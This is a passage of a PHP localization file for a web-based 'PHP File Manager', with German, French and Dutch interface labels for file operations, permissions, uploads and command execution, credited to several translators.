$de2['Send'] = 'Senden'; $de2['Refresh'] = 'Aktualisieren'; $de2['SaveConfig'] = 'Konfiguration speichern'; $de2['SavePass'] = 'Passwort speichern'; $de2['SaveFile'] = 'Datei speichern'; $de2['Save'] = 'Speichern'; $de2['Leave'] = 'Verlassen'; $de2['Edit'] = 'Bearb.'; $de2['View'] = 'Anzeigen'; $de2['Config'] = 'Konfigurieren'; $de2['Ren'] = 'Umb.'; $de2['Rem'] = 'Löschen'; $de2['Compress'] = 'Komprimieren'; $de2['Decompress'] = 'De-Komprimieren'; $de2['ResolveIDs'] = 'IDs auflösen'; $de2['Move'] = 'Versch.'; $de2['Copy'] = 'Kopie'; $de2['ServerInfo'] = 'Server Info'; $de2['CreateDir'] = 'Verzeichnis erstellen'; $de2['CreateArq'] = 'Datei erstellen'; $de2['ExecCmd'] = 'Befehl ausführen'; $de2['Upload'] = 'Upload'; $de2['UploadEnd'] = 'Upload abgeschlossen'; $de2['Perm'] = 'Rechte'; $de2['Perms'] = 'Rechte'; $de2['Owner'] = 'Besitzer'; $de2['Group'] = 'Gruppe'; $de2['Other'] = 'Andere'; $de2['Size'] = 'Größe'; $de2['Date'] = 'Datum'; $de2['Type'] = 'Typ'; $de2['Free'] = 'frei'; $de2['Shell'] = 'Shell'; $de2['Read'] = 'Read'; $de2['Write'] = 'Write'; $de2['Exec'] = 'Execute'; $de2['Apply'] = 'Anwenden'; $de2['StickyBit'] = 'Sticky Bit'; $de2['Pass'] = 'Passwort'; $de2['Lang'] = 'Sprache'; $de2['File'] = 'Datei'; $de2['File_s'] = 'Datei(en)'; $de2['Dir_s'] = 'Verzeichnis(se)'; $de2['To'] = 'an'; $de2['Destination'] = 'Ziel'; $de2['Configurations'] = 'Konfigurationen'; $de2['JSError'] = 'JavaScript Fehler'; $de2['NoSel'] = 'Keine Einträge ausgewählt'; $de2['SelDir'] = 'Wählen Sie das Zeilverzeichnis im Verzeichnis links'; $de2['TypeDir'] = 'Geben Sie den Verzeichnisnamen ein'; $de2['TypeArq'] = 'Geben Sie den Dateinamen ein'; $de2['TypeCmd'] = 'Geben Sie den Befehl ein'; $de2['TypeArqComp'] = 'Geben Sie den Dateinamen ein.\\nDie Datei-Extension legt den Kopressionstyp fest.\\nBeispiel:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $de2['RemSel'] = 'Ausgewählte Dateien LÖSCHEN'; $de2['NoDestDir'] = 'Es wurde kein Zielverzeichnis angegeben'; $de2['DestEqOrig'] = 'Quell- und Zielverzeichnis sind identisch'; $de2['InvalidDest'] = 'Zielverzeichnis ungültig'; $de2['NoNewPerm'] = 'Unzureichende Rechte'; $de2['CopyTo'] = 'KOPIEREN nach'; $de2['MoveTo'] = 'VERSCHIEBEN nach'; $de2['AlterPermTo'] = 'RECHTE ÄNDERN in'; $de2['ConfExec'] = 'Bestätigung AUSFÜHREN'; $de2['ConfRem'] = 'Bestätigung LÖSCHEN'; $de2['EmptyDir'] = 'Leeres Verzeichnis'; $de2['IOError'] = 'Ein-/Ausgabe-Fehler'; $de2['FileMan'] = 'PHP File Manager'; $de2['TypePass'] = 'Bitte geben Sie das Passwort ein'; $de2['InvPass'] = 'Ungültiges Passwort'; $de2['ReadDenied'] = 'Leasezugriff verweigert'; $de2['FileNotFound'] = 'Datei nicht gefunden'; $de2['AutoClose'] = 'Schliessen nach Beenden'; $de2['OutDocRoot'] = 'Datei oberhalb DOCUMENT_ROOT'; $de2['NoCmd'] = 'Fehler: Befehl nicht informed'; $de2['ConfTrySave'] = 'Datei ohne Schreibberechtigung.\\nTrotzdem versuchen zu speichern'; $de2['ConfSaved'] = 'Konfigurationen gespeichert'; $de2['PassSaved'] = 'Passwort gespeichert'; $de2['FileDirExists'] = 'Datei oder Verzeichnis existiert bereits'; $de2['NoPhpinfo'] = 'Funktion phpinfo ausgeschaltet'; $de2['NoReturn'] = 'keine Rückgabe'; $de2['FileSent'] = 'Datei versandt'; $de2['SpaceLimReached'] = 'Plattenplatz erschöpft'; $de2['InvExt'] = 'Ungültige datei-Extension'; $de2['FileNoOverw'] = 'Datei kann nicht überschrieben werden'; $de2['FileOverw'] = 'Datei überschrieben'; $de2['FileIgnored'] = 'Datei ignoriert'; $de2['ChkVer'] = 'Überprüfe neuer Version'; $de2['ChkVerAvailable'] = 'Neue Version. Hier klicken für Download!!'; $de2['ChkVerNotAvailable'] = 'Keine neue Version verfügbar. :('; $de2['ChkVerError'] = 'Verbindungsfehler.'; $de2['Website'] = 'Webseite'; $de2['SendingForm'] = 'Sende Dateien, bitte warten'; $de2['NoFileSel'] = 'Keine Dateien ausgewählt'; $de2['SelAll'] = 'Alle'; $de2['SelNone'] = 'Keine'; $de2['SelInverse'] = 'Invers'; $de2['Selected_s'] = 'ausgewählt'; $de2['Total'] = 'Total'; $de2['Partition'] = 'Partition'; $de2['RenderTime'] = 'Zeit zum Erzeugen der Seite'; $de2['Seconds'] = 'Sekunden'; $de2['ErrorReport'] = 'Fehler berichten'; // German - by Mathias Rothe $de3['Version'] = 'Version'; $de3['DocRoot'] = 'Dokumenten Root'; $de3['FLRoot'] = 'Datei Manager Root'; $de3['Name'] = 'Name'; $de3['And'] = 'und'; $de3['Enter'] = 'Enter'; $de3['Send'] = 'Senden'; $de3['Refresh'] = 'Refresh'; $de3['SaveConfig'] = 'Konfiguration speichern'; $de3['SavePass'] = 'Passwort speichern'; $de3['SaveFile'] = 'Datei speichern'; $de3['Save'] = 'Speichern'; $de3['Leave'] = 'Abbrechen'; $de3['Edit'] = 'Bearbeiten'; $de3['View'] = 'Anzeigen'; $de3['Config'] = 'Konfiguration'; $de3['Ren'] = 'Umbenennen'; $de3['Rem'] = 'Entfernen'; $de3['Compress'] = 'Packen'; $de3['Decompress'] = 'Entpacken'; $de3['ResolveIDs'] = 'IDs aufloesen'; $de3['Move'] = 'Verschieben'; $de3['Copy'] = 'Kopie'; $de3['ServerInfo'] = 'Server Info'; $de3['CreateDir'] = 'Neuer Ordner'; $de3['CreateArq'] = 'Neue Datei'; $de3['ExecCmd'] = 'Befehl ausfuehren'; $de3['Upload'] = 'Upload'; $de3['UploadEnd'] = 'Upload beendet'; $de3['Perm'] = 'Rechte'; $de3['Perms'] = 'Rechte'; $de3['Owner'] = 'Eigent'; $de3['Group'] = 'Gruppe'; $de3['Other'] = 'Andere'; $de3['Size'] = 'Groesse'; $de3['Date'] = 'Datum'; $de3['Type'] = 'Typ'; $de3['Free'] = 'frei'; $de3['Shell'] = 'Shell'; $de3['Read'] = 'Lesen'; $de3['Write'] = 'Schreiben'; $de3['Exec'] = 'Ausfuehren'; $de3['Apply'] = 'Bestaetigen'; $de3['StickyBit'] = 'Sticky Bit'; $de3['Pass'] = 'Passwort'; $de3['Lang'] = 'Sprache'; $de3['File'] = 'Datei'; $de3['File_s'] = 'Datei(en)'; $de3['Dir_s'] = 'Ordner'; $de3['To'] = 'nach'; $de3['Destination'] = 'Ziel'; $de3['Configurations'] = 'Konfiguration'; $de3['JSError'] = 'JavaScript Error'; $de3['NoSel'] = 'Keine Objekte ausgewaehlt'; $de3['SelDir'] = 'Waehlen Sie links das Zielverzeichnis aus'; $de3['TypeDir'] = 'Verzeichnisname eingeben'; $de3['TypeArq'] = 'Dateiname eingeben'; $de3['TypeCmd'] = 'Befehl eingeben'; $de3['TypeArqComp'] = 'Dateinamen eingeben.\\nDie Erweiterung definiert den Archiv-Typ.\\nEx:\\nname.zip\\nname.tar\\nname.bzip\\nname.gzip'; $de3['RemSel'] = 'Entferne ausgewaehlte Objekte'; $de3['NoDestDir'] = 'Kein Zielverzeichnis ausgewaehlt'; $de3['DestEqOrig'] = 'Quelle und Zielverzeichnis sind gleich'; $de3['InvalidDest'] = 'Zielverzeichnis ungueltig'; $de3['NoNewPerm'] = 'Neue Rechte nicht gesetzt'; $de3['CopyTo'] = 'Kopiere nach'; $de3['MoveTo'] = 'Verschiebe nach'; $de3['AlterPermTo'] = 'Aendere Rechte zu'; $de3['ConfExec'] = 'Ausfuehren bestaetigen'; $de3['ConfRem'] = 'Entfernen bestaetigen'; $de3['EmptyDir'] = 'Leerer Ordner'; $de3['IOError'] = 'I/O Fehler'; $de3['FileMan'] = 'PHP Datei Manager'; $de3['TypePass'] = 'Bitte Passwort eingeben'; $de3['InvPass'] = 'Falsches Passwort'; $de3['ReadDenied'] = 'Kein Lesezugriff'; $de3['FileNotFound'] = 'Datei nicht gefunden'; $de3['AutoClose'] = 'Beenden bei Fertigstellung'; $de3['OutDocRoot'] = 'Datei ausserhalb des DOCUMENT_ROOT'; $de3['NoCmd'] = 'Fehler: unbekannter Befehl'; $de3['ConfTrySave'] = 'Datei ohne Schreibrecht.\\nVersuche dennoch zu speichern'; $de3['ConfSaved'] = 'Konfiguration gespeichert'; $de3['PassSaved'] = 'Passwort gespeichert'; $de3['FileDirExists'] = 'Datei oder Verzeichnis existiert bereits'; $de3['NoPhpinfo'] = 'Funktion phpinfo gesperrt'; $de3['NoReturn'] = 'kein zurueck'; $de3['FileSent'] = 'Datei gesendet'; $de3['SpaceLimReached'] = 'Speicherplatz Grenze erreicht'; $de3['InvExt'] = 'Ungueltige Erweiterung'; $de3['FileNoOverw'] = 'Datei konnte nicht ueberschrieben werden'; $de3['FileOverw'] = 'Datei ueberschrieben'; $de3['FileIgnored'] = 'Datei ignoriert'; $de3['ChkVer'] = 'Puefe eine neuere Version'; $de3['ChkVerAvailable'] = 'Neue Version, hier klicken zum Download!!'; $de3['ChkVerNotAvailable'] = 'Keine neuere Version vorhanden. :('; $de3['ChkVerError'] = 'Verbindungsfehler.'; $de3['Website'] = 'Website'; $de3['SendingForm'] = 'Dateien werden gesendet, bitte warten'; $de3['NoFileSel'] = 'Keine Datei ausgewaehlt'; $de3['SelAll'] = 'Alle'; $de3['SelNone'] = 'Keine'; $de3['SelInverse'] = 'Invertiere'; $de3['Selected_s'] = 'ausgewaehlt'; $de3['Total'] = 'gesamt'; $de3['Partition'] = 'Partition'; $de3['RenderTime'] = 'Zeit zur Erzeugung dieser Seite'; $de3['Seconds'] = 'sec'; $de3['ErrorReport'] = 'Fehlermeldungen'; // French - by Jean Bilwes $fr1['Version'] = 'Version'; $fr1['DocRoot'] = 'Racine des documents'; $fr1['FLRoot'] = 'Racine du gestionnaire de fichers'; $fr1['Name'] = 'Nom'; $fr1['And'] = 'et'; $fr1['Enter'] = 'Enter'; $fr1['Send'] = 'Envoyer'; $fr1['Refresh'] = 'Rafraichir'; $fr1['SaveConfig'] = 'Enregistrer la Configuration'; $fr1['SavePass'] = 'Enregistrer le mot de passe'; $fr1['SaveFile'] = 'Enregistrer le fichier'; $fr1['Save'] = 'Enregistrer'; $fr1['Leave'] = 'Quitter'; $fr1['Edit'] = 'Modifier'; $fr1['View'] = 'Voir'; $fr1['Config'] = 'Config'; $fr1['Ren'] = 'Renommer'; $fr1['Rem'] = 'Detruire'; $fr1['Compress'] = 'Compresser'; $fr1['Decompress'] = 'Decompresser'; $fr1['ResolveIDs'] = 'Resoudre les IDs'; $fr1['Move'] = 'Déplacer'; $fr1['Copy'] = 'Copier'; $fr1['ServerInfo'] = 'info du sreveur'; $fr1['CreateDir'] = 'Créer un répertoire'; $fr1['CreateArq'] = 'Créer un fichier'; $fr1['ExecCmd'] = 'Executer une Commande'; $fr1['Upload'] = 'Téléversement(upload)'; $fr1['UploadEnd'] = 'Téléversement Fini'; $fr1['Perm'] = 'Perm'; $fr1['Perms'] = 'Permissions'; $fr1['Owner'] = 'Propriétaire'; $fr1['Group'] = 'Groupe'; $fr1['Other'] = 'Autre'; $fr1['Size'] = 'Taille'; $fr1['Date'] = 'Date'; $fr1['Type'] = 'Type'; $fr1['Free'] = 'libre'; $fr1['Shell'] = 'Shell'; $fr1['Read'] = 'Lecture'; $fr1['Write'] = 'Ecriture'; $fr1['Exec'] = 'Executer'; $fr1['Apply'] = 'Appliquer'; $fr1['StickyBit'] = 'Sticky Bit'; $fr1['Pass'] = 'Mot de passe'; $fr1['Lang'] = 'Langage'; $fr1['File'] = 'Fichier'; $fr1['File_s'] = 'fichier(s)'; $fr1['Dir_s'] = 'répertoire(s)'; $fr1['To'] = 'à'; $fr1['Destination'] = 'Destination'; $fr1['Configurations'] = 'Configurations'; $fr1['JSError'] = 'Erreur JavaScript'; $fr1['NoSel'] = 'Rien n\'est sélectionné'; $fr1['SelDir'] = 'Selectionnez le répertoire de destination dans le panneau gauche'; $fr1['TypeDir'] = 'Entrer le nom du répertoire'; $fr1['TypeArq'] = 'Entrer le nom du fichier'; $fr1['TypeCmd'] = 'Entrer la commande'; $fr1['TypeArqComp'] = 'Entrer le nom du fichier.\\nL\'extension définira le type de compression.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $fr1['RemSel'] = 'EFFACER les objets sélectionnés'; $fr1['NoDestDir'] = 'Aucun répertoire de destination n\'est sélectionné'; $fr1['DestEqOrig'] = 'Les répertoires source et destination sont identiques'; $fr1['InvalidDest'] = 'Le répertoire de destination est invalide'; $fr1['NoNewPerm'] = 'Nouvelle permission non établie'; $fr1['CopyTo'] = 'COPIER vers'; $fr1['MoveTo'] = 'DEPLACER vers'; $fr1['AlterPermTo'] = 'CHANGER LES PERMISSIONS'; $fr1['ConfExec'] = 'Confirmer l\'EXECUTION'; $fr1['ConfRem'] = 'Confirmer la DESTRUCTION'; $fr1['EmptyDir'] = 'Répertoire vide'; $fr1['IOError'] = 'I/O Error'; $fr1['FileMan'] = 'PHP File Manager'; $fr1['TypePass'] = 'Entrer le mot de passe'; $fr1['InvPass'] = 'Mot de passe invalide'; $fr1['ReadDenied'] = 'Droit de lecture refusé'; $fr1['FileNotFound'] = 'Fichier introuvable'; $fr1['AutoClose'] = 'Fermer sur fin'; $fr1['OutDocRoot'] = 'Fichier au delà de DOCUMENT_ROOT'; $fr1['NoCmd'] = 'Erreur: Commande non renseignée'; $fr1['ConfTrySave'] = 'Fichier sans permission d\'écriture.\\nJ\'essaie de l\'enregister'; $fr1['ConfSaved'] = 'Configurations enreristrée'; $fr1['PassSaved'] = 'Mot de passe enreristré'; $fr1['FileDirExists'] = 'Le fichier ou le répertoire existe déjà'; $fr1['NoPhpinfo'] = 'Function phpinfo désactivée'; $fr1['NoReturn'] = 'pas de retour'; $fr1['FileSent'] = 'Fichier envoyé'; $fr1['SpaceLimReached'] = 'Espace maxi atteint'; $fr1['InvExt'] = 'Extension invalide'; $fr1['FileNoOverw'] = 'Le fichier ne peut pas etre écrasé'; $fr1['FileOverw'] = 'Fichier écrasé'; $fr1['FileIgnored'] = 'Fichier ignoré'; $fr1['ChkVer'] = 'Verifier nouvelle version'; $fr1['ChkVerAvailable'] = 'Nouvelle version, cliquer ici pour la téléchager!!'; $fr1['ChkVerNotAvailable'] = 'Aucune mise a jour de disponible. :('; $fr1['ChkVerError'] = 'Erreur de connection.'; $fr1['Website'] = 'siteweb'; $fr1['SendingForm'] = 'Envoi des fichiers en cours, Patienter'; $fr1['NoFileSel'] = 'Aucun fichier sélectionné'; $fr1['SelAll'] = 'Tous'; $fr1['SelNone'] = 'Aucun'; $fr1['SelInverse'] = 'Inverser'; $fr1['Selected_s'] = 'selectioné'; $fr1['Total'] = 'total'; $fr1['Partition'] = 'Partition'; $fr1['RenderTime'] = 'Temps pour afficher cette page'; $fr1['Seconds'] = 'sec'; $fr1['ErrorReport'] = 'Rapport d\'erreur'; // French - by Sharky $fr2['Version'] = 'Version'; $fr2['DocRoot'] = 'Racine document'; $fr2['FLRoot'] = 'Gestion des fichiers racine'; $fr2['Name'] = 'Nom'; $fr2['And'] = 'et'; $fr2['Enter'] = 'Entrer'; $fr2['Send'] = 'Envoi'; $fr2['Refresh'] = 'Rafraîchir'; $fr2['SaveConfig'] = 'Sauver configurations'; $fr2['SavePass'] = 'Sauver mot de passe'; $fr2['SaveFile'] = 'Sauver fichier'; $fr2['Save'] = 'Sauver'; $fr2['Leave'] = 'Permission'; $fr2['Edit'] = 'Éditer'; $fr2['View'] = 'Afficher'; $fr2['Config'] = 'config'; $fr2['Ren'] = 'Renommer'; $fr2['Rem'] = 'Effacer'; $fr2['Compress'] = 'Compresser'; $fr2['Decompress'] = 'Décompresser'; $fr2['ResolveIDs'] = 'Résoudre ID'; $fr2['Move'] = 'Déplacer'; $fr2['Copy'] = 'Copier'; $fr2['ServerInfo'] = 'Information Serveur'; $fr2['CreateDir'] = 'Créer un répertoire'; $fr2['CreateArq'] = 'Créer un fichier'; $fr2['ExecCmd'] = 'Executé une commande'; $fr2['Upload'] = 'Transférer'; $fr2['UploadEnd'] = 'Transfert terminé'; $fr2['Perm'] = 'Perm'; $fr2['Perms'] = 'Permissions'; $fr2['Owner'] = 'Propriétaire'; $fr2['Group'] = 'Groupe'; $fr2['Other'] = 'Autre'; $fr2['Size'] = 'Taille'; $fr2['Date'] = 'date'; $fr2['Type'] = 'Type'; $fr2['Free'] = 'Libre'; $fr2['Shell'] = 'Shell'; $fr2['Read'] = 'lecture'; $fr2['Write'] = 'écriture'; $fr2['Exec'] = 'Execute'; $fr2['Apply'] = 'Appliquer'; $fr2['StickyBit'] = 'Bit figer'; $fr2['Pass'] = 'mot de passe'; $fr2['Lang'] = 'Language'; $fr2['File'] = 'Fichier'; $fr2['File_s'] = 'fichier(s)'; $fr2['Dir_s'] = 'répertoire(s)'; $fr2['To'] = 'à'; $fr2['Destination'] = 'Destination'; $fr2['Configurations'] = 'Configurations'; $fr2['JSError'] = 'Erreur JavaScript'; $fr2['NoSel'] = 'Il n\'y a pas d\'objets sélectionnés'; $fr2['SelDir'] = 'Sélectionnez le répertoire de destination sur l\'arborescence de gauche'; $fr2['TypeDir'] = 'Entrez le nom du répertoire'; $fr2['TypeArq'] = 'Entrez le nom du fichier'; $fr2['TypeCmd'] = 'Entrez la commande'; $fr2['TypeArqComp'] = 'Entrez le fichier.\\nL\'extension définira le type de compression.\\nEx:\\nnom.zip\\nnom.tar\\nnom.bzip\\nnom.gzip'; $fr2['RemSel'] = 'EFFACEZ l\'objet sélectionné'; $fr2['NoDestDir'] = 'Il n\'y a aucun répertoire de destination sélectionné'; $fr2['DestEqOrig'] = 'Origine et répertoires de destination sont identique'; $fr2['InvalidDest'] = 'Répertoire de destination est invalide'; $fr2['NoNewPerm'] = 'Nouvelle autorisation n\'a pas été configuré'; $fr2['CopyTo'] = 'COPIE dans'; $fr2['MoveTo'] = 'DÉPLACER dans'; $fr2['AlterPermTo'] = 'CHANGER PERMISSIONS dans'; $fr2['ConfExec'] = 'Confirmer EXECUTE'; $fr2['ConfRem'] = 'Confirmer EFFACER'; $fr2['EmptyDir'] = 'Répertoire vide'; $fr2['IOError'] = 'I/O Erreur'; $fr2['FileMan'] = 'Gestion de fichiers PHP'; $fr2['TypePass'] = 'Entrer le mot de passe'; $fr2['InvPass'] = 'Mot de passe invalide'; $fr2['ReadDenied'] = 'Accès en lecture refuser'; $fr2['FileNotFound'] = 'Fichier non-trouvé'; $fr2['AutoClose'] = 'Fermez a la fin'; $fr2['OutDocRoot'] = 'Fichier au-delà DOCUMENT_ROOT'; $fr2['NoCmd'] = 'Erreur: Commande inconnue'; $fr2['ConfTrySave'] = 'Fichier sans permission d\'écriture.\\nEssayez de sauver'; $fr2['ConfSaved'] = 'Configurations sauvée'; $fr2['PassSaved'] = 'Mot de passe sauvé'; $fr2['FileDirExists'] = 'Fichier ou répertoire déjà existant'; $fr2['NoPhpinfo'] = 'Function phpinfo désactivé'; $fr2['NoReturn'] = 'sans retour possible'; $fr2['FileSent'] = 'Fichier envoyé'; $fr2['SpaceLimReached'] = 'Limite de d\'espace atteint'; $fr2['InvExt'] = 'Extension invalide'; $fr2['FileNoOverw'] = 'Fichier ne peut pas être écrasé'; $fr2['FileOverw'] = 'Fichier écrasé'; $fr2['FileIgnored'] = 'Fichier ignoré'; $fr2['ChkVer'] = 'Check nouvelle version'; $fr2['ChkVerAvailable'] = 'Nouvelle version, cliquez ici pour commencer le téléchargement!!'; $fr2['ChkVerNotAvailable'] = 'Aucune nouvelle version disponible. :('; $fr2['ChkVerError'] = 'Erreur de connection.'; $fr2['Website'] = 'Site Web'; $fr2['SendingForm'] = 'Envoye de fichier, s\'il vous plaît patientez'; $fr2['NoFileSel'] = 'Aucun fichier sélectionné'; $fr2['SelAll'] = 'Tout'; $fr2['SelNone'] = 'Aucuns'; $fr2['SelInverse'] = 'Inverser'; $fr2['Selected_s'] = 'sélectionné'; $fr2['Total'] = 'total'; $fr2['Partition'] = 'Partition'; $fr2['RenderTime'] = 'Temps pour afficher la page'; $fr2['Seconds'] = 'sec'; $fr2['ErrorReport'] = 'Liste des erreurs'; // French - by Michel Lainey $fr3['Version'] = 'Version'; $fr3['DocRoot'] = 'Racine Document'; $fr3['FLRoot'] = 'Racine File Manager'; $fr3['Name'] = 'Nom'; $fr3['And'] = 'et'; $fr3['Enter'] = 'Valider'; $fr3['Send'] = 'Envoyer'; $fr3['Refresh'] = 'Raffraichir'; $fr3['SaveConfig'] = 'Sauvegarder Config'; $fr3['SavePass'] = 'Sauvegarder Password'; $fr3['SaveFile'] = 'Sauvegarder Fichier'; $fr3['Save'] = 'Sauvegarder'; $fr3['Leave'] = 'Quitter'; $fr3['Edit'] = 'Editer'; $fr3['View'] = 'Visualiser'; $fr3['Config'] = 'Config'; $fr3['Ren'] = 'Renommer'; $fr3['Rem'] = 'Supprimer'; $fr3['Compress'] = 'Compresser'; $fr3['Decompress'] = 'Décompresser'; $fr3['ResolveIDs'] = 'Resoudre IDs'; $fr3['Move'] = 'Déplacer'; $fr3['Copy'] = 'Copier'; $fr3['ServerInfo'] = 'Server Info'; $fr3['CreateDir'] = 'Créer Répertoire'; $fr3['CreateArq'] = 'Créer Fichier'; $fr3['ExecCmd'] = 'Executer Commande'; $fr3['Upload'] = 'Upload'; $fr3['UploadEnd'] = 'Upload Fini'; $fr3['Perm'] = 'Perm'; $fr3['Perms'] = 'Permissions'; $fr3['Owner'] = 'Propriétaire'; $fr3['Group'] = 'Groupe'; $fr3['Other'] = 'Autres'; $fr3['Size'] = 'Taille'; $fr3['Date'] = 'Date'; $fr3['Type'] = 'Type'; $fr3['Free'] = 'libre'; $fr3['Shell'] = 'Shell'; $fr3['Read'] = 'Lecture'; $fr3['Write'] = 'Ecriture'; $fr3['Exec'] = 'Execute'; $fr3['Apply'] = 'Application'; $fr3['StickyBit'] = 'Sticky Bit'; $fr3['Pass'] = 'Password'; $fr3['Lang'] = 'Language'; $fr3['File'] = 'Fichier'; $fr3['File_s'] = 'fichier(s)'; $fr3['Dir_s'] = 'répertoire(s)'; $fr3['To'] = 'à'; $fr3['Destination'] = 'Destination'; $fr3['Configurations'] = 'Configurations'; $fr3['JSError'] = 'Erreur JavaScript'; $fr3['NoSel'] = 'Aucun élément sélectionné'; $fr3['SelDir'] = "Sélectionner le répertoire de destination dans l'arboresence de gauchethe destination directory on the left tree"; $fr3['TypeDir'] = 'Indiquer le nom du répertoire'; $fr3['TypeArq'] = 'Indiquer le nom du fichier'; $fr3['TypeCmd'] = 'Entrer une commande'; $fr3['TypeArqComp'] = "Indiquer le nom du fichier.\\nL'extension définira le type de compression.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip"; $fr3['RemSel'] = "SUPPRIMER l'élément sélectionné"; $fr3['NoDestDir'] = "Il n'y a pas de répertoire destination sélectionné"; $fr3['DestEqOrig'] = 'Répertoire Origine et Destination sont identiques'; $fr3['InvalidDest'] = 'Le répertoire de destination est invalide'; $fr3['NoNewPerm'] = 'Nouvelle permission non appliquée'; $fr3['CopyTo'] = 'COPIER vers'; $fr3['MoveTo'] = 'DEPLACER vers'; $fr3['AlterPermTo'] = 'CHANGER LES PERMISSIONS vers'; $fr3['ConfExec'] = 'Confirmer EXECUTION'; $fr3['ConfRem'] = 'Confirmer SUPPRESSION'; $fr3['EmptyDir'] = 'Répertoire vide'; $fr3['IOError'] = 'Erreur entrée/sortie'; $fr3['FileMan'] = 'PHP File Manager'; $fr3['TypePass'] = 'Saisir le mot de passe'; $fr3['InvPass'] = 'Mot de passe invalide'; $fr3['ReadDenied'] = 'Accès en lecture refusé'; $fr3['FileNotFound'] = 'Fichier non trouvé'; $fr3['AutoClose'] = 'Fermeture en fin de traitement'; $fr3['OutDocRoot'] = 'Fichier en dessous de DOCUMENT_ROOT'; $fr3['NoCmd'] = 'Erreur : Commande non renseignée'; $fr3['ConfTrySave'] = "Fichier sans permission d'écriture.\\nTenter de sauver malgré tout"; $fr3['ConfSaved'] = 'Configurations sauvegardée'; $fr3['PassSaved'] = 'Password sauvegardé'; $fr3['FileDirExists'] = 'Fichier ou répertoire déjà existant'; $fr3['NoPhpinfo'] = 'Fonction phpinfo disactivée'; $fr3['NoReturn'] = 'pas de retour'; $fr3['FileSent'] = 'Fichier envoyé'; $fr3['SpaceLimReached'] = 'Capacité maximale atteinte'; $fr3['InvExt'] = 'Extension invalide'; $fr3['FileNoOverw'] = 'Fichier ne pouvant être remplacé'; $fr3['FileOverw'] = 'Fichier remplacé'; $fr3['FileIgnored'] = 'Fichier ignoré'; $fr3['ChkVer'] = 'Vérifier nouvelle version'; $fr3['ChkVerAvailable'] = 'Nouvelle version, cliquer ici pour commencer le téléchargement !'; $fr3['ChkVerNotAvailable'] = 'Pas de nouvelle version disponible. :('; $fr3['ChkVerError'] = 'Erreur de connection.'; $fr3['Website'] = 'Site Web'; $fr3['SendingForm'] = "Fichiers en cours d'envoi, merci de patienter"; $fr3['NoFileSel'] = 'Pas de fichier sélectionné'; $fr3['SelAll'] = 'Tous'; $fr3['SelNone'] = 'Aucun'; $fr3['SelInverse'] = 'Inverser'; $fr3['Selected_s'] = 'sélectionné'; $fr3['Total'] = 'total'; $fr3['Partition'] = 'Partition'; $fr3['RenderTime'] = 'Temps nécessaire pour obtenir cette page'; $fr3['Seconds'] = 'sec'; $fr3['ErrorReport'] = 'Erreur de compte rendu'; // Dutch - by Leon Buijs $nl['Version'] = 'Versie'; $nl['DocRoot'] = 'Document Root'; $nl['FLRoot'] = 'File Manager Root'; $nl['Name'] = 'Naam'; $nl['And'] = 'en'; $nl['Enter'] = 'Enter'; $nl['Send'] = 'Verzend'; $nl['Refresh'] = 'Vernieuw'; $nl['SaveConfig'] = 'Configuratie opslaan'; $nl['SavePass'] = 'Wachtwoord opslaan'; $nl['SaveFile'] = 'Bestand opslaan'; $nl['Save'] = 'Opslaan'; $nl['Leave'] = 'Verlaten'; $nl['Edit'] = 'Wijzigen'; $nl['View'] = 'Toon'; $nl['Config'] = 'Configuratie'; $nl['Ren'] = 'Naam wijzigen'; $nl['Rem'] = 'Verwijderen'; $nl['Compress'] = 'Comprimeren'; $nl['Decompress'] = 'Decomprimeren'; $nl['ResolveIDs'] = 'Resolve IDs'; $nl['Move'] = 'Verplaats'; $nl['Copy'] = 'Kopieer'; $nl['ServerInfo'] = 'Serverinformatie'; $nl['CreateDir'] = 'Nieuwe map'; $nl['CreateArq'] = 'Nieuw bestand'; $nl['ExecCmd'] = 'Commando uitvoeren'; $nl['Upload'] = 'Upload'; $nl['UploadEnd'] = 'Upload voltooid'; $nl['Perm'] = 'Rechten'; $nl['Perms'] = 'Rechten'; $nl['Owner'] = 'Eigenaar'; $nl['Group'] = 'Groep'; $nl['Other'] = 'Anderen'; $nl['Size'] = 'Grootte'; $nl['Date'] = 'Datum'; $nl['Type'] = 'Type'; $nl['Free'] = 'free'; $nl['Shell'] = 'Shell'; $nl['Read'] = 'Lezen'; $nl['Write'] = 'Schrijven'; $nl['Exec'] = 'Uitvoeren'; $nl['Apply'] = 'Toepassen'; $nl['StickyBit'] = 'Sticky Bit'; $nl['Pass'] = 'Wachtwoord'; $nl['Lang'] = 'Taal'; $nl['File'] = 'Bestand'; $nl['File_s'] = 'bestand(en)'; $nl['Dir_s'] = 'map(pen)'; $nl['To'] = 'naar'; $nl['Destination'] = 'Bestemming'; $nl['Configurations'] = 'Instellingen'; $nl['JSError'] = 'Javascriptfout'; $nl['NoSel'] = 'Er zijn geen bestanden geselecteerd'; $nl['SelDir'] = 'Kies de bestemming in de boom aan de linker kant'; $nl['TypeDir'] = 'Voer de mapnaam in'; $nl['TypeArq'] = 'Voer de bestandsnaam in'; $nl['TypeCmd'] = 'Voer het commando in'; $nl['TypeArqComp'] = 'Voer de bestandsnaam in.\\nDe extensie zal het compressietype bepalen.\\nEx:\\nnome.zip\\nnome.tar\\nnome.bzip\\nnome.gzip'; $nl['RemSel'] = 'VERWIJDER geselecteerde itens'; $nl['NoDestDir'] = 'Er is geen doelmap geselecteerd'; $nl['DestEqOrig'] = 'Bron- en doelmap zijn hetzelfde'; $nl['InvalidDest'] = 'Doelmap is ongeldig'; $nl['NoNewPerm'] = 'Nieuwe rechten niet geset'; $nl['CopyTo'] = 'KOPIEER naar'; $nl['MoveTo'] = 'VERPLAATS naar'; $nl['AlterPermTo'] = 'VERANDER RECHTEN in'; $nl['ConfExec'] = 'Bevestig UITVOEREN'; $nl['ConfRem'] = 'Bevestig VERWIJDEREN'; $nl['EmptyDir'] = 'Lege map'; $nl['IOError'] = 'I/O Error'; $nl['FileMan'] = 'PHP File Manager'; $nl['TypePass'] = 'Voer het wachtwoord in'; $nl['InvPass'] = 'Ongeldig wachtwoord'; $nl['ReadDenied'] = 'Leestoegang ontzegd'; $nl['FileNotFound'] = 'Bestand niet gevonden'; $nl['AutoClose'] = 'Sluit na voltooien'; $nl['OutDocRoot'] = 'Bestand buiten DOCUMENT_ROOT'; $nl['NoCmd'] = 'Error: Command not informed'; $nl['ConfTrySave'] = 'Bestand zonder schrijfrechten.\\nProbeer een andere manier'; $nl['ConfSaved'] = 'Instellingen opgeslagen'; $nl['PassSaved'] = 